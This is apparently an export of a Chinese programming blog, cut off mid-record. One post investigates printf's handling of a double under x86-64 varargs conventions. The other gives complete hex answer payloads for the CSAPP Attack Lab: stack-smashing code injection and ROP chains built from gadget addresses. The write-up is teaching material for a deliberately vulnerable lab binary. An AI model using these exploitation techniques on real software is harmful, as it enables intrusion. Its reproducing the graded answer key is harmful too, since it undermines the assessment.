复习一下CSAPP第三章\n\n {% asset_img p1.png %}\n\n {% asset_img p2.png %}\n\n- 可以看到，浮点参数的传参使用的是SIMD寄存器，而整形使用的是通用目的寄存器\n- 那么猜测，这应该是问题所在。printf因为使用的格式化字符串是\"%lx\"所以从通用目的寄存器读取可变参数，但是 `a` 因为是double类型，所以放在xmm0寄存器。\n\n### GDB调试\n\n- 使用 `clang -S d.c && clang d.s -g`命令编译上面那段问题代码。这样我们就可以在gdb里针对汇编指令设置断点\n\n- main函数部分汇编代码\n\n ```assembly\n subq\t$16, %rsp\n movabsq\t$.L.str, %rdi\t\t# .L.str就是\"%lx\\n\"\n movsd\t.LCPI0_0, %xmm0 \t\n # 字面量的浮点放在内存，.LCPI0_0引用的就是 double 类型的 6.0\n movsd\t%xmm0, -8(%rbp)\n movsd\t-8(%rbp), %xmm0 \n movb\t$1, %al\n callq\tprintf\n ```\n\n- 可以看到，double a 确实放在了xmm0,\n\n- 用GDB在 ` callq printf` 处设置断点(注意，运行到断点处，callq printf指令还没有执行)，检查用于传参的前四个通用目的寄存器\n\n {% asset_img p4.png %}\n\n （红框内是前四个传参的通用目的寄存器）\n\n- 执行gdb 的`next`指令 ，运行`callq printf`这条指令，检查输出\n\n {% asset_img p3.png %}\n\n- 可以看到，与`rsi`寄存器的内容一样。可以初步确认，因为格式字符串是\"%lx\"，所以printf在通用目的寄存器读取可变参数\n\n- 手动修改汇编代码，在callq printf之前加上一条`movq $16, %rsi`（注意，此处是十进制，而printf使用的格式字符串是\"%lx\"，所以程序输出的是十六进制）\n\n ```assembly\n movabsq\t$.L.str, %rdi\n movsd\t.LCPI0_0, %xmm0 # xmm0 = mem[0],zero\n movsd\t%xmm0, -8(%rbp)\n movsd\t-8(%rbp), %xmm0 # xmm0 = mem[0],zero\n movb\t$1, %al\n movq $16, %rsi \t\t\t\t# 这一条就是加上去的\n callq\tprintf\n ```\n\n- 运行，结果是\n\n {% asset_img p5.png %}\n\n- 符合预期，与rsi寄存器的东西一样\n\n- 分析结果得到证实\n\n### 探究过程出现的一些问题\n\n- 在不合时宜的时刻检查寄存器的值\n - 执行完`callq printf`后才检查xmm0、xmm1的内容，企图找到double a\n - 执行完`callq printf`后才检查rdi、rsi的值。\n- 因为printf函数会使用这些寄存器，所以这样检查必然是不行的\n\n### 关于vc++的一些补充\n\n- [Visual Studio 2015的参数传递文档](https://msdn.microsoft.com/zh-cn/library/zthk2dkh.aspx)\n\n {% asset_img p8.png %}\n\n {% asset_img p7.png %}\n\n \t**注意：这里的b不是在xmm0，而是在xmm1，d也是如此**\n\n\n- [Visual Studio 2015 的 Varargs文档 ](https://msdn.microsoft.com//library/dd2wa36c.aspx)\n\n > 如果参数是通过 vararg（例如省略号参数）传递的，则基本上会应用正常的参数传递过程，包括溢出第五个及后续参数。 此外，被调用方的责任是转储采用其地址的参数。**仅处理浮点值时，如果被调用方要使用整数寄存器中的值，整数寄存器和浮点寄存器才会同时包含浮点值**\n >\n > if parameters are passed via varargs (for example, ellipsis arguments), then essentially the normal parameter passing applies including spilling the fifth and subsequent arguments. It is again the callee's responsibility to dump arguments that have their address taken. **For floating-point values only, both the integer and the floating-point register will contain the float value in case the callee expects the value in the integer registers.**\n\n- 按照我的理解，加粗部分应该是说，如果实参里有integer也有float-point，那么我们在整形寄存器也可以读取到对应序号的浮点寄存器的值，**比如test(3, 2.0, 1)，那么2.0既存在于RDX，也存在于XMM1， 1既存在于R8，也存在于xmm2。**这样，我们使用stdarg的va_arg(ap, long long)读取第二个参数2.0时，就不会出错。如果是gcc，就会出错，因为gcc并不会把浮点放在整形寄存器。\n\n- 这应该是微软为了兼容以前的老代码，以前可变参都是放在栈上，所以改变va_arg的第二个实参type也不会读错，只会形成强制类型转换。（由于手头没有vc++的编译器，只能借助跟师兄的远程合作来探究，所以这里只有部分猜测被证实，读者可以自己测试一下是否在对应序号的整形寄存器和浮点寄存器存在相同的内容）","content":"<h3 id=\"测试环境\"><a href=\"#测试环境\" class=\"headerlink\" title=\"测试环境\"></a>测试环境</h3> <figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">clang version 3.8.1-24 (tags/RELEASE_381/final)</span><br><span class=\"line\">Target: x86_64-pc-linux-gnu</span><br><span class=\"line\">Thread model: posix</span><br><span class=\"line\"></span><br><span class=\"line\">Linux version 4.9.0-deepin13-amd64 ([email protected]) (gcc version 6.3.0 20170321 (Debian 6.3.0-11) ) #1 SMP PREEMPT Deepin 4.9.57-1 (2017-10-19)</span><br></pre></td></tr></table></figure>\n<h3 id=\"奇异现象复现\"><a href=\"#奇异现象复现\" class=\"headerlink\" title=\"奇异现象复现\"></a>奇异现象复现</h3><ul>\n<li><p>代码</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">include</span> <span class=\"meta-string\"><stdio.h></span></span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">int</span> <span class=\"title\">main</span><span class=\"params\">()</span></span></span><br><span class=\"line\"><span class=\"function\"></span>{</span><br><span class=\"line\"> <span class=\"keyword\">double</span> a = <span class=\"number\">6.0</span>;</span><br><span class=\"line\"> <span class=\"built_in\">printf</span>(<span class=\"string\">\"%lx\\n\"</span>\t, a);</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>执行结果</p>\n<img src=\"/2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/p6.png\">\n</li>\n<li><p>这段代码用的运行结果是随机的，无规律的，这是非常奇怪的</p>\n</li>\n</ul>\n<h3 id=\"先说原因\"><a href=\"#先说原因\" class=\"headerlink\" title=\"先说原因\"></a>先说原因</h3><ul>\n<li>printf因为使用的格式化字符串是”%lx”所以从通用目的寄存器读取可变参数，但是 <code>a</code> 因为是double类型，所以放在xmm0寄存器。</li>\n</ul>\n<h3 id=\"分析\"><a href=\"#分析\" class=\"headerlink\" title=\"分析\"></a>分析</h3><ul>\n<li><p>先看glibc-2.26中<code>stdio-common/printf.c</code>的源码</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">int</span></span><br><span class=\"line\">__printf (<span class=\"keyword\">const</span> <span class=\"keyword\">char</span> *format, ...)</span><br><span class=\"line\">{</span><br><span class=\"line\"> va_list arg;</span><br><span class=\"line\"> <span class=\"keyword\">int</span> done;</span><br><span class=\"line\"></span><br><span class=\"line\"> va_start (arg, format);</span><br><span class=\"line\"> done = <span class=\"built_in\">vfprintf</span> (<span class=\"built_in\">stdout</span>, format, arg);</span><br><span class=\"line\"> va_end (arg);</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">return</span> done;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>可以看到，使用的是stdarg的机制实现可变参数传参。</p>\n</li>\n<li><p>如果可变参数完全使用栈帧传递，那么结果不可能是随机的。那么只可能是使用寄存器传参</p>\n</li>\n<li><p>复习一下CSAPP第三章</p>\n <img src=\"/2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/p1.png\">\n <img src=\"/2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/p2.png\">\n</li>\n<li><p>可以看到，浮点参数的传参使用的是SIMD寄存器，而整形使用的是通用目的寄存器</p>\n</li>\n<li>那么猜测，这应该是问题所在。printf因为使用的格式化字符串是”%lx”所以从通用目的寄存器读取可变参数，但是 <code>a</code> 因为是double类型，所以放在xmm0寄存器。</li>\n</ul>\n<h3 id=\"GDB调试\"><a href=\"#GDB调试\" class=\"headerlink\" title=\"GDB调试\"></a>GDB调试</h3><ul>\n<li><p>使用 <code>clang -S d.c && clang d.s -g</code>命令编译上面那段问题代码。这样我们就可以在gdb里针对汇编指令设置断点</p>\n</li>\n<li><p>main函数部分汇编代码</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">subq\t$16, %rsp</span><br><span class=\"line\">movabsq\t$.L.str, %rdi\t\t# .L.str就是"%lx\\n"</span><br><span class=\"line\">movsd\t.LCPI0_0, %xmm0 \t</span><br><span class=\"line\"># 字面量的浮点放在内存，.LCPI0_0引用的就是 double 类型的 6.0</span><br><span class=\"line\">movsd\t%xmm0, -8(%rbp)</span><br><span class=\"line\">movsd\t-8(%rbp), %xmm0 </span><br><span class=\"line\">movb\t$1, %al</span><br><span class=\"line\">callq\tprintf</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>可以看到，double a 确实放在了xmm0,</p>\n</li>\n<li><p>用GDB在 <code>callq printf</code> 处设置断点(注意，运行到断点处，callq printf指令还没有执行)，检查用于传参的前四个通用目的寄存器</p>\n<img src=\"/2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/p4.png\">\n<p>（红框内是前四个传参的通用目的寄存器）</p>\n</li>\n<li><p>执行gdb 的<code>next</code>指令 ，运行<code>callq printf</code>这条指令，检查输出</p>\n<img src=\"/2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/p3.png\">\n</li>\n<li><p>可以看到，与<code>rsi</code>寄存器的内容一样。可以初步确认，因为格式字符串是”%lx”，所以printf在通用目的寄存器读取可变参数</p>\n</li>\n<li><p>手动修改汇编代码，在callq printf之前加上一条<code>movq $16, %rsi</code>（注意，此处是十进制，而printf使用的格式字符串是”%lx”，所以程序输出的是十六进制）</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">movabsq\t$.L.str, %rdi</span><br><span class=\"line\">movsd\t.LCPI0_0, %xmm0 # xmm0 = mem[0],zero</span><br><span class=\"line\">movsd\t%xmm0, -8(%rbp)</span><br><span class=\"line\">movsd\t-8(%rbp), %xmm0 # xmm0 = mem[0],zero</span><br><span class=\"line\">movb\t$1, %al</span><br><span class=\"line\">movq $16, %rsi \t\t\t\t# 这一条就是加上去的</span><br><span class=\"line\">callq\tprintf</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>运行，结果是</p>\n<img src=\"/2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/p5.png\">\n</li>\n<li><p>符合预期，与rsi寄存器的东西一样</p>\n</li>\n<li><p>分析结果得到证实</p>\n</li>\n</ul>\n<h3 id=\"探究过程出现的一些问题\"><a href=\"#探究过程出现的一些问题\" class=\"headerlink\" title=\"探究过程出现的一些问题\"></a>探究过程出现的一些问题</h3><ul>\n<li>在不合时宜的时刻检查寄存器的值<ul>\n<li>执行完<code>callq printf</code>后才检查xmm0、xmm1的内容，企图找到double a</li>\n<li>执行完<code>callq printf</code>后才检查rdi、rsi的值。</li>\n</ul>\n</li>\n<li>因为printf函数会使用这些寄存器，所以这样检查必然是不行的</li>\n</ul>\n<h3 id=\"关于vc-的一些补充\"><a href=\"#关于vc-的一些补充\" class=\"headerlink\" title=\"关于vc++的一些补充\"></a>关于vc++的一些补充</h3><ul>\n<li><p><a href=\"https://msdn.microsoft.com/zh-cn/library/zthk2dkh.aspx\" target=\"_blank\" rel=\"noopener\">Visual Studio 2015的参数传递文档</a></p>\n<img src=\"/2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/p8.png\">\n<img src=\"/2018/01/19/printf的一个异常现象引发的对x86-64体系下可变参数传参的探究/p7.png\">\n<p> <strong>注意：这里的b不是在xmm0，而是在xmm1，d也是如此</strong></p>\n</li>\n</ul>\n<ul>\n<li><p><a href=\"https://msdn.microsoft.com//library/dd2wa36c.aspx\" target=\"_blank\" rel=\"noopener\">Visual Studio 2015 的 Varargs文档 </a></p>\n<blockquote>\n<p> 如果参数是通过 vararg（例如省略号参数）传递的，则基本上会应用正常的参数传递过程，包括溢出第五个及后续参数。 此外，被调用方的责任是转储采用其地址的参数。<strong>仅处理浮点值时，如果被调用方要使用整数寄存器中的值，整数寄存器和浮点寄存器才会同时包含浮点值</strong></p>\n<p> if parameters are passed via varargs (for example, ellipsis arguments), then essentially the normal parameter passing applies including spilling the fifth and subsequent arguments. It is again the callee’s responsibility to dump arguments that have their address taken. <strong>For floating-point values only, both the integer and the floating-point register will contain the float value in case the callee expects the value in the integer registers.</strong></p>\n</blockquote>\n</li>\n<li><p>按照我的理解，加粗部分应该是说，如果实参里有integer也有float-point，那么我们在整形寄存器也可以读取到对应序号的浮点寄存器的值，<strong>比如test(3, 2.0, 1)，那么2.0既存在于RDX，也存在于XMM1， 1既存在于R8，也存在于xmm2。</strong>这样，我们使用stdarg的va_arg(ap, long long)读取第二个参数2.0时，就不会出错。如果是gcc，就会出错，因为gcc并不会把浮点放在整形寄存器。</p>\n</li>\n<li><p>这应该是微软为了兼容以前的老代码，以前可变参都是放在栈上，所以改变va_arg的第二个实参type也不会读错，只会形成强制类型转换。（由于手头没有vc++的编译器，只能借助跟师兄的远程合作来探究，所以这里只有部分猜测被证实，读者可以自己测试一下是否在对应序号的整形寄存器和浮点寄存器存在相同的内容）</p>\n</li>\n</ul>\n","slug":"printf的一个异常现象引发的对x86-64体系下可变参数传参的探究","categories":[{"name":"CSAPP","slug":"CSAPP","permalink":"https://h-zex.github.io/categories/CSAPP/"}],"tags":[{"name":"printf","slug":"printf","permalink":"https://h-zex.github.io/tags/printf/"},{"name":"操作系统","slug":"操作系统","permalink":"https://h-zex.github.io/tags/操作系统/"},{"name":"底层","slug":"底层","permalink":"https://h-zex.github.io/tags/底层/"},{"name":"CSAPP","slug":"CSAPP","permalink":"https://h-zex.github.io/tags/CSAPP/"}]},{"title":"CSAPP Attack Lab","date":"2017-09-16T05:18:56.000Z","path":"2017/09/16/CSAPP-Attack-Lab/","text":"CSAPP Attack Lab 本文所有答案都是传给hex2raw的文本，hex2raw会在转换好的字符串后添加换行符，所以答案里没有换行符 第一题答案123456789aa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aa/* this five lines fill the buf */c0 17 40 00 00 00 00 00 /* touch1's addr */ 思路 不需要传参，而且没有各种保护，直接构造一个0x28长度的字符串加上touch1的地址（直接用十六进制写），然后用hex2raw转换后输入即可AC 第二题答案123456789101112131415161718ec 17 40 00 00 00 00 00 /* touch2的地址 */48 83 ec 30/* sub $0x30, %rsp */48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi（我用的self-study版本的cookie是0x59b997fa）*/c3 /* retq */aa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aa aa aa aa aa /* 填充的字符串 */80 dc 61 55/* 上面的sub $0x30, %rsp指令的地址，也就是getbuf本身的ret要跳转过去的地址 */ 思路 需要传一个int参数，字符串里有可执行代码，覆盖返回地址的位置，让ret跳转到我们插进去的代码的位置 需要注意ret读取的是rsp指示的栈顶的位置，所以为了让我们自己传进去的ret能够ret到touch2的地址，需要设置rsp使之指向touch2的地址 第三题答案1234567891011121314151617181920212223242526272829fa 18 40 00 00 00 00 00 /* touch3 addr, in 0x5561dc78 */48 83 ec 30 /* sub $0x30,%rsp, in 0x5561dc80 */48 c7 c7 90 dc 61 55 /* mov $0x5561dc90,%rdi */c3 /* retq will ret to 0x5561dc78 */ 00 00 00 00 /*fill the extra space */35 39 62 39 39 37 66 61 00 /* string \"59b997fa\" ，in 0x5561dc90 */aa aa aa aa aa aa aa /* fill the extra space */ 80 dc 61 55 00 00 00 00 /* 0x5561dc80, our code's begin addr *//* * just before our attack code is run, * rsp == 0x5561dca0 * return addr in 0x5561dca0*/ 思路 比第二题只多了一个“需要在栈上放置字符串”，需要注意的是，字符串放在栈上，那么rsp就应该小于这个字符串的最低位置，否则下一个函数如果读写栈帧，就会破坏字符串 然后覆盖getbuf的存放返回地址的区域，使之跳转到我们插入的代码段的起始位置，也就是0x5561dc80 接着分配栈空间，然后把string的地址传给rdi，然后ret到touch3。需要注意，ret从栈顶读取返回地址，所以touch3的地址放在栈顶 第四题答案123456789101112131415161718aa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa/* this five line fill the buf */cc 19 40 00 00 00 00 00 /* 0x4019cc pop %rax; nop; ret */fa 97 b9 59 00 00 00 00 /* 0x59b997fa */a2 19 40 00 00 00 00 00 /* 0x4019a2 movq %rax, %rdi; ret */ec 17 40 00 00 00 00 00 /* touch2 0x4017ec */ 思路 构造rop链，在0x4019ca处有b8 29 58 90 c3 mov $0xc3905829,%eax，观察字节码，在0x4019cc处的58是pop rax，从而，把cookie放在栈顶，然后调用这条指令，就可以把参数转移到rax 在0x4019a0有8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax，观察字节码，0x4019a2处有48 89 c7，也就是mov %rax, %rdi，从而把参数从rax转移到rdi，然后直接跳转过去touch2就可以了 第五题答案12345678910111213141516171819202122232425262728293031323334aa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aaaa aa aa aa aa aa aa aa /* this five lines fill space of buf */17 2b 40 00 00 00 00 00 /* 402b17, pop rsi,ret to this, assume that rsp is K */20 00 00 00 00 00 00 00 /* the data pop to rsi */00 00 00 00 00 00 00 00 /* the data are pop to r15 *//* after all pop, rsp is K+16 */06 1a 40 00 00 00 00 00 /* 401a06, movq rsp, rax, ret to here, rsp is K+24 */a2 19 40 00 00 00 00 00 /* 4019a2, movq rax, rdi */d6 19 40 00 00 00 00 00 /* 4019d6, lea(%rdi,%rsi,1),%rax , then string addr in rax */c5 19 40 00 00 00 00 00 /* 4019c5, mov rax, rdi */fa 18 40 00 00 00 00 00 /* 4018fa touch3 */35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 /* 0x59b997fa in here */ 思路 把字符串放在栈上，并且因为每次ret都会释放8字节，为了避免后面的函数使用栈而破坏字符串，应该把字符串放在rop链之后 用rsp构造出字符串的地址，这时候需要add或sub等算术指令或lea这个内存计算指令。找来找去，只有位于 0x4019d6的lea (%rdi,%rsi,1),%rax符合要求 为了使用lea，需要把运行到某条指令时的rsp跟字符串位置的偏移量传给rsi。这里我们使用pop指令，在0x402b16找到pop %r14，该指令第二个字节5e是pop %rsi，因为该指令跟ret之间还有pop %r15，所以栈上的数据应该是16个字节，前8个字节的数据pop给%rsi（该数据的计算在后文），后8个字节给%r15，后8个字节的数据随意构造即可。 r15是callee-saved寄存器，被调用函数不应该使用寄存器原本的值，所以r15等价于C语言函数内的局部自动变量（非参数），并且getbuf函数被我们攻击前其本身的指令已经执行完了，此时破坏r15的值不会影响getbuf。（以上只是本人目前所知的r15的相关信息推断的，或许r15还有其他跨函数的用途？？） 之后用多个mov，实现rsp mov到rax再mov到rdi 然后调用ret到lea指令，这时候，rax保存着字符串的起始地址，然后再把rax mov到rdi 接着就是touch3的地址，让mov rax rdi下面那条ret直接跳转到touch3，攻击成功 几个注意点 用vim的16进制编辑模式要加在打开vim时加-b，否则，会把诸如c0这一类大于0x3f的不属于ascii范围的字符修改成3f ret指令前释放栈帧，ret指令后rsp又加上8，所以设置字符串时如果操作rsp，需要考虑ret释放的8字节 指令的机器码放在栈上时不需要按照字节逆序排放。并且下一条指令相对于当前指令是放在更高的地址而不是更低的地址 ret指令从rsp指定的位置读出8字节的信息，所以设置跳转地址时也要对高4byte进行设置 注意gets遇到编码为0xFF的字符时不会终止读取","raw":"---\ntitle: CSAPP Attack Lab\ntoc: false\ncomments: true\nmathjax: true\ndate: 2017-09-16 13:18:56\ntags:\n- CSAPP Lab\ndescription: CSAPP 攻击实验的解答\ncategories:\n- CSAPP\n---\n\n# CSAPP Attack Lab\n\n> 本文所有答案都是传给hex2raw的文本，hex2raw会在转换好的字符串后添加换行符，所以答案里没有换行符\n\n### 第一题\n\n#### 答案\n\n```c\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa\n/* this five lines fill the buf */\n\nc0 17 40 00\t00 00 00 00 \n/* touch1's addr */\n```\n\n#### 思路\n\n- 不需要传参，而且没有各种保护，直接构造一个0x28长度的字符串加上`touch1`的地址（直接用十六进制写），然后用`hex2raw`转换后输入即可AC\n\n### 第二题\n\n#### 答案\n\n```c\nec 17 40 00 00 00 00 00 \n/* touch2的地址 */\n\n48 83 ec 30\n/* sub $0x30, %rsp */\n\n48 c7 c7 fa 97 b9 59 \n/* mov $0x59b997fa,%rdi（我用的self-study版本的cookie是0x59b997fa）*/\n\nc3 /* retq */\n\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa \naa aa aa aa \n/* 填充的字符串 */\n\n80 dc 61 55\n/* 上面的sub $0x30, %rsp指令的地址，也就是getbuf本身的ret要跳转过去的地址 */\n```\n\n#### 思路\n\n- 需要传一个int参数，字符串里有可执行代码，覆盖返回地址的位置，让ret跳转到我们插进去的代码的位置\n- 需要注意ret读取的是rsp指示的栈顶的位置，所以为了让我们自己传进去的ret能够ret到touch2的地址，需要设置rsp使之指向touch2的地址\n\n### 第三题\n\n#### 答案\n\n```c\nfa 18 40 00 00 00 00 00 \n/* touch3 addr, in 0x5561dc78 */\n\n48 83 ec 30 \n/* sub $0x30,%rsp, in 0x5561dc80 */\n\n48 c7 c7 90 dc 61 55 \n/* mov $0x5561dc90,%rdi */\n\nc3 \n/* retq will ret to 0x5561dc78 */ \n\n00 00 00 00 \n/*fill the extra space */\n\n35 39 62 39 39 37 66 61\t00\t\n/* string \"59b997fa\" ，in 0x5561dc90 */\n\naa aa aa aa aa aa aa \n/* fill the extra space */ \n\n80 dc 61 55 00 00 00 00 \n/* 0x5561dc80, our code's begin addr */\n\n/* \n* just before our attack code is run, \n* rsp == 0x5561dca0 \n* return addr in 0x5561dca0\n*/\n```\n\n#### 思路\n\n- 比第二题只多了一个“需要在栈上放置字符串”，需要注意的是，字符串放在栈上，那么rsp就应该小于这个字符串的最低位置，否则下一个函数如果读写栈帧，就会破坏字符串\n- 然后覆盖getbuf的存放返回地址的区域，使之跳转到我们插入的代码段的起始位置，也就是0x5561dc80\n- 接着分配栈空间，然后把string的地址传给rdi，然后ret到touch3。需要注意，ret从栈顶读取返回地址，所以touch3的地址放在栈顶\n\n### 第四题\n\n#### 答案\n\n```c\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa \naa aa aa aa aa aa aa aa \naa aa aa aa aa aa aa aa \naa aa aa aa aa aa aa aa\n/* this five line fill the buf */\n\ncc 19 40 00 00 00 00 00\t\n/* 0x4019cc\t pop %rax; nop; ret */\n\nfa 97 b9 59 00 00 00 00\t\n/* 0x59b997fa */\n\na2 19 40 00 00 00 00 00\t\n/* 0x4019a2\t movq %rax, %rdi; ret */\n\nec 17 40 00 00 00 00 00\t\n/* touch2 0x4017ec */\n```\n\n\n\n#### 思路\n\n- 构造rop链，在0x4019ca处有` b8 29 58 90 c3 mov $0xc3905829,%eax`，观察字节码，在0x4019cc处的`58`是`pop rax`，从而，把cookie放在栈顶，然后调用这条指令，就可以把参数转移到rax\n- 在0x4019a0有`8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax`，观察字节码，0x4019a2处有`48 89 c7`，也就是`mov %rax, %rdi`，从而把参数从rax转移到rdi，然后直接跳转过去touch2就可以了\n\n### 第五题\n\n#### 答案\n\n```c\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa\naa aa aa aa aa aa aa aa\t\t\n/* this five lines fill space of buf */\n\n17 2b 40 00 00 00 00 00\t \t\n/* 402b17, pop rsi,ret to this, assume that rsp is K */\n\n20 00 00 00 00 00 00 00\t\n/* the data pop to rsi */\n\n00 00 00 00 00 00 00 00\t\n/* the data are pop to r15 */\n/* after all pop, rsp is K+16 */\n\n06 1a 40 00 00 00 00 00\t\t\n/* 401a06, movq rsp, rax, ret to here, rsp is K+24 */\n\na2 19 40 00 00 00 00 00\t\t\n/* 4019a2, movq rax, rdi */\n\nd6 19 40 00 00 00 00 00\t\t\n/* 4019d6, lea(%rdi,%rsi,1),%rax , then string addr in rax */\n\nc5 19 40 00 00 00 00 00\t\t\n/* 4019c5, mov rax, rdi */\n\nfa 18 40 00 00 00 00 00\t\t\n/* 4018fa touch3 */\n\n35 39 62 39 39 37 66 61\t00 00 00 00 00 00 00 00\t\n/* 0x59b997fa in here */\n```\n\n#### 思路\n\n- 把字符串放在栈上，并且因为每次ret都会释放8字节，为了避免后面的函数使用栈而破坏字符串，应该把字符串放在rop链之后\n\n- 用rsp构造出字符串的地址，这时候需要add或sub等算术指令或lea这个内存计算指令。找来找去，只有位于 0x4019d6的`lea (%rdi,%rsi,1),%rax`符合要求\n\n- 为了使用lea，需要把运行到某条指令时的rsp跟字符串位置的偏移量传给rsi。这里我们使用pop指令，在0x402b16找到`pop %r14`，该指令第二个字节`5e`是`pop %rsi`，因为该指令跟ret之间还有`pop %r15`，所以栈上的数据应该是16个字节，前8个字节的数据pop给%rsi（该数据的计算在后文），后8个字节给%r15，后8个字节的数据随意构造即可。\n\n > r15是callee-saved寄存器，被调用函数不应该使用寄存器原本的值，所以r15等价于C语言函数内的局部自动变量（非参数），并且getbuf函数被我们攻击前其本身的指令已经执行完了，此时破坏r15的值不会影响getbuf。（以上只是本人目前所知的r15的相关信息推断的，或许r15还有其他跨函数的用途？？）\n\n- 之后用多个mov，实现rsp mov到rax再mov到rdi\n\n- 然后调用ret到lea指令，这时候，rax保存着字符串的起始地址，然后再把rax mov到rdi\n\n- 接着就是touch3的地址，让`mov rax rdi`下面那条ret直接跳转到touch3，攻击成功\n\n### 几个注意点\n\n- 用vim的16进制编辑模式要加在打开vim时加`-b`，否则，会把诸如`c0`这一类大于`0x3f`的不属于ascii范围的字符修改成`3f`\n\n\n- ret指令前释放栈帧，ret指令后rsp又加上8，所以设置字符串时如果操作rsp，需要考虑ret释放的8字节\n- 指令的机器码放在栈上时不需要按照字节逆序排放。并且下一条指令相对于当前指令是放在更高的地址而不是更低的地址\n- ret指令从rsp指定的位置读出8字节的信息，所以设置跳转地址时也要对高4byte进行设置\n- 注意gets遇到编码为0xFF的字符时不会终止读取\n\n","content":"<h1 id=\"CSAPP-Attack-Lab\"><a href=\"#CSAPP-Attack-Lab\" class=\"headerlink\" title=\"CSAPP Attack Lab\"></a>CSAPP Attack Lab</h1><blockquote>\n<p>本文所有答案都是传给hex2raw的文本，hex2raw会在转换好的字符串后添加换行符，所以答案里没有换行符</p>\n</blockquote>\n<h3 id=\"第一题\"><a href=\"#第一题\" class=\"headerlink\" title=\"第一题\"></a>第一题</h3><h4 id=\"答案\"><a href=\"#答案\" class=\"headerlink\" title=\"答案\"></a>答案</h4><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\">aa aa aa aa aa aa aa aa</span><br><span class=\"line\"><span class=\"comment\">/* this five lines fill the buf */</span></span><br><span class=\"line\"></span><br><span class=\"line\">c0 <span class=\"number\">17</span> <span class=\"number\">40</span> <span class=\"number\">00</span>\t<span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> <span class=\"number\">00</span> </span><br><span class=\"line\"><span class=\"comment\">/* touch1's addr */</span></span><br></pre></td></tr></table></figure>\n<h4 id=\"思路\"><a href=\"#思路\" class=\"headerlink\" title=\"思路\"></a>思路</h4><ul>\n<li>不需要传参，而且没有各种保护，直接构造一个0x28长度的字符串加上<code>touch1</code>的地址（直接用十六进制写），然后用<code>hex2raw</code>转换后输入即可AC</li>\n</ul>\n<h3 id=\"第二题\"><a href=\"#第二题\" class=\"headerlink\" title=\"第二题\"></a>第二题</h3><h4 id=\"答案-1\"><a href=\"#答案-1\" class=\"headerlink\" title=\"答案\"></a>答案</h4><figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span 